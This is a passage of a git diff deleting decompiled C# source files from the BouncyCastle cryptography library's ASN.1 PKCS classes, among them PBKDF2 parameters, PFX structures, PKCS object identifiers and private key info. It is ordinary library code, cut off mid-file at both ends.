(Asn1Sequence)seq[0].ToAsn1Object(); - if (asn1Sequence[0].Equals(PkcsObjectIdentifiers.IdPbkdf2)) - { - func = new KeyDerivationFunc(PkcsObjectIdentifiers.IdPbkdf2, Pbkdf2Params.GetInstance(asn1Sequence[1])); - } - else - { - func = new KeyDerivationFunc(asn1Sequence); - } - scheme = EncryptionScheme.GetInstance(seq[1].ToAsn1Object()); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(func, scheme); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pbkdf2Params.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pbkdf2Params.cs deleted file mode 100644 index 065a347..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pbkdf2Params.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class Pbkdf2Params : Asn1Encodable -{ - private static AlgorithmIdentifier algid_hmacWithSHA1 = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdHmacWithSha1, DerNull.Instance); - - private readonly Asn1OctetString octStr; - - private readonly DerInteger iterationCount; - - private readonly DerInteger keyLength; - - private readonly AlgorithmIdentifier prf; - - public BigInteger IterationCount => iterationCount.Value; - - public BigInteger KeyLength - { - get - { - if (keyLength != null) - { - return keyLength.Value; - } - return null; - } - } - - public bool IsDefaultPrf - { - get - { - if (prf != null) - { - return prf.Equals(algid_hmacWithSHA1); - } - return true; - } - } - - public AlgorithmIdentifier Prf - { - get - { - if (prf == null) - { - return algid_hmacWithSHA1; - } - return prf; - } - } - - public static Pbkdf2Params GetInstance(object obj) - { - if (obj == null || obj is Pbkdf2Params) - { - return (Pbkdf2Params)obj; - } - if (obj is Asn1Sequence) - { - return new Pbkdf2Params((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public Pbkdf2Params(Asn1Sequence seq) - { - if (seq.Count < 2 || seq.Count > 4) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - octStr = (Asn1OctetString)seq[0]; - iterationCount = (DerInteger)seq[1]; - Asn1Encodable asn1Encodable = null; - Asn1Encodable asn1Encodable2 = null; - if (seq.Count > 3) - { - asn1Encodable = seq[2]; - asn1Encodable2 = seq[3]; - } - else if (seq.Count > 2) - { - if (seq[2] is DerInteger) - { - asn1Encodable = seq[2]; - } - else - { - asn1Encodable2 = seq[2]; - } - } - if (asn1Encodable != null) - { - keyLength = (DerInteger)asn1Encodable; - } - if (asn1Encodable2 != null) - { - prf = AlgorithmIdentifier.GetInstance(asn1Encodable2); - } - } - - public Pbkdf2Params(byte[] salt, int iterationCount) - { - octStr = new DerOctetString(salt); - this.iterationCount = new DerInteger(iterationCount); - } - - public Pbkdf2Params(byte[] salt, int iterationCount, int keyLength) - : this(salt, iterationCount) - { - this.keyLength = new DerInteger(keyLength); - } - - public Pbkdf2Params(byte[] salt, int iterationCount, int keyLength, AlgorithmIdentifier prf) - : this(salt, iterationCount, keyLength) - { - this.prf = prf; - } - - public Pbkdf2Params(byte[] salt, int iterationCount, AlgorithmIdentifier prf) - : this(salt, iterationCount) - { - this.prf = prf; - } - - public byte[] GetSalt() - { - return octStr.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(octStr, iterationCount); - if (keyLength != null) - { - asn1EncodableVector.Add(keyLength); - } - if (!IsDefaultPrf) - { - asn1EncodableVector.Add(prf); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pfx.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pfx.cs deleted file mode 100644 index 09d8f6d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pfx.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class Pfx : Asn1Encodable -{ - private ContentInfo contentInfo; - - private MacData macData; - - public ContentInfo AuthSafe => contentInfo; - - public MacData MacData => macData; - - public Pfx(Asn1Sequence seq) - { - BigInteger value = ((DerInteger)seq[0]).Value; - if (value.IntValue != 3) - { - throw new ArgumentException("wrong version for PFX PDU"); - } - contentInfo = ContentInfo.GetInstance(seq[1]); - if (seq.Count == 3) - { - macData = MacData.GetInstance(seq[2]); - } - } - - public Pfx(ContentInfo contentInfo, MacData macData) - { - this.contentInfo = contentInfo; - this.macData = macData; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(new DerInteger(3), contentInfo); - if (macData != null) - { - asn1EncodableVector.Add(macData); - } - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pkcs12PbeParams.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pkcs12PbeParams.cs deleted file mode 100644 index 8539de4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/Pkcs12PbeParams.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class Pkcs12PbeParams : Asn1Encodable -{ - private readonly DerInteger iterations; - - private readonly Asn1OctetString iv; - - public BigInteger Iterations => iterations.Value; - - public Pkcs12PbeParams(byte[] salt, int iterations) - { - iv = new DerOctetString(salt); - this.iterations = new DerInteger(iterations); - } - - private Pkcs12PbeParams(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - iv = Asn1OctetString.GetInstance(seq[0]); - iterations = DerInteger.GetInstance(seq[1]); - } - - public static Pkcs12PbeParams GetInstance(object obj) - { - if (obj is Pkcs12PbeParams) - { - return (Pkcs12PbeParams)obj; - } - if (obj is Asn1Sequence) - { - return new Pkcs12PbeParams((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public byte[] GetIV() - { - return iv.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(iv, iterations); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PkcsObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PkcsObjectIdentifiers.cs deleted file mode 100644 index a8edc3c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PkcsObjectIdentifiers.cs +++ /dev/null @@ -1,301 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public abstract class PkcsObjectIdentifiers -{ - public const string Pkcs1 = "1.2.840.113549.1.1"; - - public const string Pkcs3 = "1.2.840.113549.1.3"; - - public const string Pkcs5 = "1.2.840.113549.1.5"; - - public const string EncryptionAlgorithm = "1.2.840.113549.3"; - - public const string DigestAlgorithm = "1.2.840.113549.2"; - - public const string Pkcs7 = "1.2.840.113549.1.7"; - - public const string Pkcs9 = "1.2.840.113549.1.9"; - - public const string CertTypes = "1.2.840.113549.1.9.22"; - - public const string CrlTypes = "1.2.840.113549.1.9.23"; - - public const string IdCT = "1.2.840.113549.1.9.16.1"; - - public const string IdCti = "1.2.840.113549.1.9.16.6"; - - public const string IdAA = "1.2.840.113549.1.9.16.2"; - - public const string IdSpq = "1.2.840.113549.1.9.16.5"; - - public const string Pkcs12 = "1.2.840.113549.1.12"; - - public const string BagTypes = "1.2.840.113549.1.12.10.1"; - - public const string Pkcs12PbeIds = "1.2.840.113549.1.12.1"; - - internal static readonly DerObjectIdentifier Pkcs1Oid = new DerObjectIdentifier("1.2.840.113549.1.1"); - - public static readonly DerObjectIdentifier RsaEncryption = Pkcs1Oid.Branch("1"); - - public static readonly DerObjectIdentifier MD2WithRsaEncryption = Pkcs1Oid.Branch("2"); - - public static readonly DerObjectIdentifier MD4WithRsaEncryption = Pkcs1Oid.Branch("3"); - - public static readonly DerObjectIdentifier MD5WithRsaEncryption = Pkcs1Oid.Branch("4"); - - public static readonly DerObjectIdentifier Sha1WithRsaEncryption = Pkcs1Oid.Branch("5"); - - public static readonly DerObjectIdentifier SrsaOaepEncryptionSet = Pkcs1Oid.Branch("6"); - - public static readonly DerObjectIdentifier IdRsaesOaep = Pkcs1Oid.Branch("7"); - - public static readonly DerObjectIdentifier IdMgf1 = Pkcs1Oid.Branch("8"); - - public static readonly DerObjectIdentifier IdPSpecified = Pkcs1Oid.Branch("9"); - - public static readonly DerObjectIdentifier IdRsassaPss = Pkcs1Oid.Branch("10"); - - public static readonly DerObjectIdentifier Sha256WithRsaEncryption = Pkcs1Oid.Branch("11"); - - public static readonly DerObjectIdentifier Sha384WithRsaEncryption = Pkcs1Oid.Branch("12"); - - public static readonly DerObjectIdentifier Sha512WithRsaEncryption = Pkcs1Oid.Branch("13"); - - public static readonly DerObjectIdentifier Sha224WithRsaEncryption = Pkcs1Oid.Branch("14"); - - public static readonly DerObjectIdentifier Sha512_224WithRSAEncryption = Pkcs1Oid.Branch("15"); - - public static readonly DerObjectIdentifier Sha512_256WithRSAEncryption = Pkcs1Oid.Branch("16"); - - public static readonly DerObjectIdentifier DhKeyAgreement = new DerObjectIdentifier("1.2.840.113549.1.3.1"); - - public static readonly DerObjectIdentifier PbeWithMD2AndDesCbc = new DerObjectIdentifier("1.2.840.113549.1.5.1"); - - public static readonly DerObjectIdentifier PbeWithMD2AndRC2Cbc = new DerObjectIdentifier("1.2.840.113549.1.5.4"); - - public static readonly DerObjectIdentifier PbeWithMD5AndDesCbc = new DerObjectIdentifier("1.2.840.113549.1.5.3"); - - public static readonly DerObjectIdentifier PbeWithMD5AndRC2Cbc = new DerObjectIdentifier("1.2.840.113549.1.5.6"); - - public static readonly DerObjectIdentifier PbeWithSha1AndDesCbc = new DerObjectIdentifier("1.2.840.113549.1.5.10"); - - public static readonly DerObjectIdentifier PbeWithSha1AndRC2Cbc = new DerObjectIdentifier("1.2.840.113549.1.5.11"); - - public static readonly DerObjectIdentifier IdPbeS2 = new DerObjectIdentifier("1.2.840.113549.1.5.13"); - - public static readonly DerObjectIdentifier IdPbkdf2 = new DerObjectIdentifier("1.2.840.113549.1.5.12"); - - public static readonly DerObjectIdentifier DesEde3Cbc = new DerObjectIdentifier("1.2.840.113549.3.7"); - - public static readonly DerObjectIdentifier RC2Cbc = new DerObjectIdentifier("1.2.840.113549.3.2"); - - public static readonly DerObjectIdentifier rc4 = new DerObjectIdentifier("1.2.840.113549.3.4"); - - public static readonly DerObjectIdentifier MD2 = new DerObjectIdentifier("1.2.840.113549.2.2"); - - public static readonly DerObjectIdentifier MD4 = new DerObjectIdentifier("1.2.840.113549.2.4"); - - public static readonly DerObjectIdentifier MD5 = new DerObjectIdentifier("1.2.840.113549.2.5"); - - public static readonly DerObjectIdentifier IdHmacWithSha1 = new DerObjectIdentifier("1.2.840.113549.2.7"); - - public static readonly DerObjectIdentifier IdHmacWithSha224 = new DerObjectIdentifier("1.2.840.113549.2.8"); - - public static readonly DerObjectIdentifier IdHmacWithSha256 = new DerObjectIdentifier("1.2.840.113549.2.9"); - - public static readonly DerObjectIdentifier IdHmacWithSha384 = new DerObjectIdentifier("1.2.840.113549.2.10"); - - public static readonly DerObjectIdentifier IdHmacWithSha512 = new DerObjectIdentifier("1.2.840.113549.2.11"); - - public static readonly DerObjectIdentifier Data = new DerObjectIdentifier("1.2.840.113549.1.7.1"); - - public static readonly DerObjectIdentifier SignedData = new DerObjectIdentifier("1.2.840.113549.1.7.2"); - - public static readonly DerObjectIdentifier EnvelopedData = new DerObjectIdentifier("1.2.840.113549.1.7.3"); - - public static readonly DerObjectIdentifier SignedAndEnvelopedData = new DerObjectIdentifier("1.2.840.113549.1.7.4"); - - public static readonly DerObjectIdentifier DigestedData = new DerObjectIdentifier("1.2.840.113549.1.7.5"); - - public static readonly DerObjectIdentifier EncryptedData = new DerObjectIdentifier("1.2.840.113549.1.7.6"); - - public static readonly DerObjectIdentifier Pkcs9AtEmailAddress = new DerObjectIdentifier("1.2.840.113549.1.9.1"); - - public static readonly DerObjectIdentifier Pkcs9AtUnstructuredName = new DerObjectIdentifier("1.2.840.113549.1.9.2"); - - public static readonly DerObjectIdentifier Pkcs9AtContentType = new DerObjectIdentifier("1.2.840.113549.1.9.3"); - - public static readonly DerObjectIdentifier Pkcs9AtMessageDigest = new DerObjectIdentifier("1.2.840.113549.1.9.4"); - - public static readonly DerObjectIdentifier Pkcs9AtSigningTime = new DerObjectIdentifier("1.2.840.113549.1.9.5"); - - public static readonly DerObjectIdentifier Pkcs9AtCounterSignature = new DerObjectIdentifier("1.2.840.113549.1.9.6"); - - public static readonly DerObjectIdentifier Pkcs9AtChallengePassword = new DerObjectIdentifier("1.2.840.113549.1.9.7"); - - public static readonly DerObjectIdentifier Pkcs9AtUnstructuredAddress = new DerObjectIdentifier("1.2.840.113549.1.9.8"); - - public static readonly DerObjectIdentifier Pkcs9AtExtendedCertificateAttributes = new DerObjectIdentifier("1.2.840.113549.1.9.9"); - - public static readonly DerObjectIdentifier Pkcs9AtSigningDescription = new DerObjectIdentifier("1.2.840.113549.1.9.13"); - - public static readonly DerObjectIdentifier Pkcs9AtExtensionRequest = new DerObjectIdentifier("1.2.840.113549.1.9.14"); - - public static readonly DerObjectIdentifier Pkcs9AtSmimeCapabilities = new DerObjectIdentifier("1.2.840.113549.1.9.15"); - - public static readonly DerObjectIdentifier IdSmime = new DerObjectIdentifier("1.2.840.113549.1.9.16"); - - public static readonly DerObjectIdentifier Pkcs9AtFriendlyName = new DerObjectIdentifier("1.2.840.113549.1.9.20"); - - public static readonly DerObjectIdentifier Pkcs9AtLocalKeyID = new DerObjectIdentifier("1.2.840.113549.1.9.21"); - - [Obsolete("Use X509Certificate instead")] - public static readonly DerObjectIdentifier X509CertType = new DerObjectIdentifier("1.2.840.113549.1.9.22.1"); - - public static readonly DerObjectIdentifier X509Certificate = new DerObjectIdentifier("1.2.840.113549.1.9.22.1"); - - public static readonly DerObjectIdentifier SdsiCertificate = new DerObjectIdentifier("1.2.840.113549.1.9.22.2"); - - public static readonly DerObjectIdentifier X509Crl = new DerObjectIdentifier("1.2.840.113549.1.9.23.1"); - - public static readonly DerObjectIdentifier IdAlg = IdSmime.Branch("3"); - - public static readonly DerObjectIdentifier IdAlgEsdh = IdAlg.Branch("5"); - - public static readonly DerObjectIdentifier IdAlgCms3DesWrap = IdAlg.Branch("6"); - - public static readonly DerObjectIdentifier IdAlgCmsRC2Wrap = IdAlg.Branch("7"); - - public static readonly DerObjectIdentifier IdAlgPwriKek = IdAlg.Branch("9"); - - public static readonly DerObjectIdentifier IdAlgSsdh = IdAlg.Branch("10"); - - public static readonly DerObjectIdentifier IdRsaKem = IdAlg.Branch("14"); - - public static readonly DerObjectIdentifier PreferSignedData = Pkcs9AtSmimeCapabilities.Branch("1"); - - public static readonly DerObjectIdentifier CannotDecryptAny = Pkcs9AtSmimeCapabilities.Branch("2"); - - public static readonly DerObjectIdentifier SmimeCapabilitiesVersions = Pkcs9AtSmimeCapabilities.Branch("3"); - - public static readonly DerObjectIdentifier IdAAReceiptRequest = IdSmime.Branch("2.1"); - - public static readonly DerObjectIdentifier IdCTAuthData = new DerObjectIdentifier("1.2.840.113549.1.9.16.1.2"); - - public static readonly DerObjectIdentifier IdCTTstInfo = new DerObjectIdentifier("1.2.840.113549.1.9.16.1.4"); - - public static readonly DerObjectIdentifier IdCTCompressedData = new DerObjectIdentifier("1.2.840.113549.1.9.16.1.9"); - - public static readonly DerObjectIdentifier IdCTAuthEnvelopedData = new DerObjectIdentifier("1.2.840.113549.1.9.16.1.23"); - - public static readonly DerObjectIdentifier IdCTTimestampedData = new DerObjectIdentifier("1.2.840.113549.1.9.16.1.31"); - - public static readonly DerObjectIdentifier IdCtiEtsProofOfOrigin = new DerObjectIdentifier("1.2.840.113549.1.9.16.6.1"); - - public static readonly DerObjectIdentifier IdCtiEtsProofOfReceipt = new DerObjectIdentifier("1.2.840.113549.1.9.16.6.2"); - - public static readonly DerObjectIdentifier IdCtiEtsProofOfDelivery = new DerObjectIdentifier("1.2.840.113549.1.9.16.6.3"); - - public static readonly DerObjectIdentifier IdCtiEtsProofOfSender = new DerObjectIdentifier("1.2.840.113549.1.9.16.6.4"); - - public static readonly DerObjectIdentifier IdCtiEtsProofOfApproval = new DerObjectIdentifier("1.2.840.113549.1.9.16.6.5"); - - public static readonly DerObjectIdentifier IdCtiEtsProofOfCreation = new DerObjectIdentifier("1.2.840.113549.1.9.16.6.6"); - - public static readonly DerObjectIdentifier IdAAOid = new DerObjectIdentifier("1.2.840.113549.1.9.16.2"); - - public static readonly DerObjectIdentifier IdAAContentHint = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.4"); - - public static readonly DerObjectIdentifier IdAAMsgSigDigest = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.5"); - - public static readonly DerObjectIdentifier IdAAContentReference = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.10"); - - public static readonly DerObjectIdentifier IdAAEncrypKeyPref = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.11"); - - public static readonly DerObjectIdentifier IdAASigningCertificate = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.12"); - - public static readonly DerObjectIdentifier IdAASigningCertificateV2 = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.47"); - - public static readonly DerObjectIdentifier IdAAContentIdentifier = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.7"); - - public static readonly DerObjectIdentifier IdAASignatureTimeStampToken = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.14"); - - public static readonly DerObjectIdentifier IdAAEtsSigPolicyID = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.15"); - - public static readonly DerObjectIdentifier IdAAEtsCommitmentType = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.16"); - - public static readonly DerObjectIdentifier IdAAEtsSignerLocation = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.17"); - - public static readonly DerObjectIdentifier IdAAEtsSignerAttr = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.18"); - - public static readonly DerObjectIdentifier IdAAEtsOtherSigCert = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.19"); - - public static readonly DerObjectIdentifier IdAAEtsContentTimestamp = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.20"); - - public static readonly DerObjectIdentifier IdAAEtsCertificateRefs = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.21"); - - public static readonly DerObjectIdentifier IdAAEtsRevocationRefs = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.22"); - - public static readonly DerObjectIdentifier IdAAEtsCertValues = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.23"); - - public static readonly DerObjectIdentifier IdAAEtsRevocationValues = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.24"); - - public static readonly DerObjectIdentifier IdAAEtsEscTimeStamp = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.25"); - - public static readonly DerObjectIdentifier IdAAEtsCertCrlTimestamp = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.26"); - - public static readonly DerObjectIdentifier IdAAEtsArchiveTimestamp = new DerObjectIdentifier("1.2.840.113549.1.9.16.2.27"); - - public static readonly DerObjectIdentifier IdAADecryptKeyID = IdAAOid.Branch("37"); - - public static readonly DerObjectIdentifier IdAAImplCryptoAlgs = IdAAOid.Branch("38"); - - public static readonly DerObjectIdentifier IdAAAsymmDecryptKeyID = IdAAOid.Branch("54"); - - public static readonly DerObjectIdentifier IdAAImplCompressAlgs = IdAAOid.Branch("43"); - - public static readonly DerObjectIdentifier IdAACommunityIdentifiers = IdAAOid.Branch("40"); - - [Obsolete("Use 'IdAAEtsSigPolicyID' instead")] - public static readonly DerObjectIdentifier IdAASigPolicyID = IdAAEtsSigPolicyID; - - [Obsolete("Use 'IdAAEtsCommitmentType' instead")] - public static readonly DerObjectIdentifier IdAACommitmentType = IdAAEtsCommitmentType; - - [Obsolete("Use 'IdAAEtsSignerLocation' instead")] - public static readonly DerObjectIdentifier IdAASignerLocation = IdAAEtsSignerLocation; - - [Obsolete("Use 'IdAAEtsOtherSigCert' instead")] - public static readonly DerObjectIdentifier IdAAOtherSigCert = IdAAEtsOtherSigCert; - - public static readonly DerObjectIdentifier IdSpqEtsUri = new DerObjectIdentifier("1.2.840.113549.1.9.16.5.1"); - - public static readonly DerObjectIdentifier IdSpqEtsUNotice = new DerObjectIdentifier("1.2.840.113549.1.9.16.5.2"); - - public static readonly DerObjectIdentifier KeyBag = new DerObjectIdentifier("1.2.840.113549.1.12.10.1.1"); - - public static readonly DerObjectIdentifier Pkcs8ShroudedKeyBag = new DerObjectIdentifier("1.2.840.113549.1.12.10.1.2"); - - public static readonly DerObjectIdentifier CertBag = new DerObjectIdentifier("1.2.840.113549.1.12.10.1.3"); - - public static readonly DerObjectIdentifier CrlBag = new DerObjectIdentifier("1.2.840.113549.1.12.10.1.4"); - - public static readonly DerObjectIdentifier SecretBag = new DerObjectIdentifier("1.2.840.113549.1.12.10.1.5"); - - public static readonly DerObjectIdentifier SafeContentsBag = new DerObjectIdentifier("1.2.840.113549.1.12.10.1.6"); - - public static readonly DerObjectIdentifier PbeWithShaAnd128BitRC4 = new DerObjectIdentifier("1.2.840.113549.1.12.1.1"); - - public static readonly DerObjectIdentifier PbeWithShaAnd40BitRC4 = new DerObjectIdentifier("1.2.840.113549.1.12.1.2"); - - public static readonly DerObjectIdentifier PbeWithShaAnd3KeyTripleDesCbc = new DerObjectIdentifier("1.2.840.113549.1.12.1.3"); - - public static readonly DerObjectIdentifier PbeWithShaAnd2KeyTripleDesCbc = new DerObjectIdentifier("1.2.840.113549.1.12.1.4"); - - public static readonly DerObjectIdentifier PbeWithShaAnd128BitRC2Cbc = new DerObjectIdentifier("1.2.840.113549.1.12.1.5"); - - public static readonly DerObjectIdentifier PbewithShaAnd40BitRC2Cbc = new DerObjectIdentifier("1.2.840.113549.1.12.1.6"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PrivateKeyInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PrivateKeyInfo.cs deleted file mode 100644 index 48fe6d0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PrivateKeyInfo.cs +++ /dev/null @@ -1,138 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class PrivateKeyInfo : Asn1Encodable -{ - private readonly DerInteger version; - - private readonly AlgorithmIdentifier privateKeyAlgorithm; - - private readonly Asn1OctetString privateKey; - - private readonly Asn1Set attributes; - - private readonly DerBitString publicKey; - - public virtual Asn1Set Attributes => attributes; - - public virtual bool HasPublicKey => publicKey != null; - - public virtual AlgorithmIdentifier PrivateKeyAlgorithm => privateKeyAlgorithm; - - public virtual DerBitString PublicKeyData => publicKey; - - public static PrivateKeyInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static PrivateKeyInfo GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is PrivateKeyInfo) - { - return (PrivateKeyInfo)obj; - } - return new PrivateKeyInfo(Asn1Sequence.GetInstance(obj)); - } - - private static int GetVersionValue(DerInteger version) - { - BigInteger value = version.Value; - if (value.CompareTo(BigInteger.Zero) < 0 || value.CompareTo(BigInteger.One) > 0) - { - throw new ArgumentException("invalid version for private key info", "version"); - } - return value.IntValue; - } - - public PrivateKeyInfo(AlgorithmIdentifier privateKeyAlgorithm, Asn1Encodable privateKey) - : this(privateKeyAlgorithm, privateKey, null, null) - { - } - - public PrivateKeyInfo(AlgorithmIdentifier privateKeyAlgorithm, Asn1Encodable privateKey, Asn1Set attributes) - : this(privateKeyAlgorithm, privateKey, attributes, null) - { - } - - public PrivateKeyInfo(AlgorithmIdentifier privateKeyAlgorithm, Asn1Encodable privateKey, Asn1Set attributes, byte[] publicKey) - { - version = new DerInteger((publicKey != null) ? BigInteger.One : BigInteger.Zero); - this.privateKeyAlgorithm = privateKeyAlgorithm; - this.privateKey = new DerOctetString(privateKey); - this.attributes = attributes; - this.publicKey = ((publicKey == null) ? null : new DerBitString(publicKey)); - } - - private PrivateKeyInfo(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - version = DerInteger.GetInstance(CollectionUtilities.RequireNext(enumerator)); - int versionValue = GetVersionValue(version); - privateKeyAlgorithm = AlgorithmIdentifier.GetInstance(CollectionUtilities.RequireNext(enumerator)); - privateKey = Asn1OctetString.GetInstance(CollectionUtilities.RequireNext(enumerator)); - int num = -1; - while (enumerator.MoveNext()) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)enumerator.Current; - int tagNo = asn1TaggedObject.TagNo; - if (tagNo <= num) - { - throw new ArgumentException("invalid optional field in private key info", "seq"); - } - num = tagNo; - switch (tagNo) - { - case 0: - attributes = Asn1Set.GetInstance(asn1TaggedObject, explicitly: false); - break; - case 1: - if (versionValue < 1) - { - throw new ArgumentException("'publicKey' requires version v2(1) or later", "seq"); - } - publicKey = DerBitString.GetInstance(asn1TaggedObject, isExplicit: false); - break; - default: - throw new ArgumentException("unknown optional field in private key info", "seq"); - } - } - } - - public virtual Asn1Object ParsePrivateKey() - { - return Asn1Object.FromByteArray(privateKey.GetOctets()); - } - - public virtual Asn1Object ParsePublicKey() - { - if (publicKey != null) - { - return Asn1Object.FromByteArray(publicKey.GetOctets()); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, privateKeyAlgorithm, privateKey); - if (attributes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, attributes)); - } - if (publicKey != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, publicKey)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RC2CbcParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RC2CbcParameter.cs deleted file mode 100644 index 179d0db..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RC2CbcParameter.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class RC2CbcParameter : Asn1Encodable -{ - internal DerInteger version; - - internal Asn1OctetString iv; - - public BigInteger RC2ParameterVersion - { - get - { - if (version != null) - { - return version.Value; - } - return null; - } - } - - public static RC2CbcParameter GetInstance(object obj) - { - if (obj is Asn1Sequence) - { - return new RC2CbcParameter((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public RC2CbcParameter(byte[] iv) - { - this.iv = new DerOctetString(iv); - } - - public RC2CbcParameter(int parameterVersion, byte[] iv) - { - version = new DerInteger(parameterVersion); - this.iv = new DerOctetString(iv); - } - - private RC2CbcParameter(Asn1Sequence seq) - { - if (seq.Count == 1) - { - iv = (Asn1OctetString)seq[0]; - return; - } - version = (DerInteger)seq[0]; - iv = (Asn1OctetString)seq[1]; - } - - public byte[] GetIV() - { - return Arrays.Clone(iv.GetOctets()); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (version != null) - { - asn1EncodableVector.Add(version); - } - asn1EncodableVector.Add(iv); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsaPrivateKeyStructure.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsaPrivateKeyStructure.cs deleted file mode 100644 index ffd7afa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsaPrivateKeyStructure.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class RsaPrivateKeyStructure : Asn1Encodable -{ - private readonly BigInteger modulus; - - private readonly BigInteger publicExponent; - - private readonly BigInteger privateExponent; - - private readonly BigInteger prime1; - - private readonly BigInteger prime2; - - private readonly BigInteger exponent1; - - private readonly BigInteger exponent2; - - private readonly BigInteger coefficient; - - public BigInteger Modulus => modulus; - - public BigInteger PublicExponent => publicExponent; - - public BigInteger PrivateExponent => privateExponent; - - public BigInteger Prime1 => prime1; - - public BigInteger Prime2 => prime2; - - public BigInteger Exponent1 => exponent1; - - public BigInteger Exponent2 => exponent2; - - public BigInteger Coefficient => coefficient; - - public static RsaPrivateKeyStructure GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, 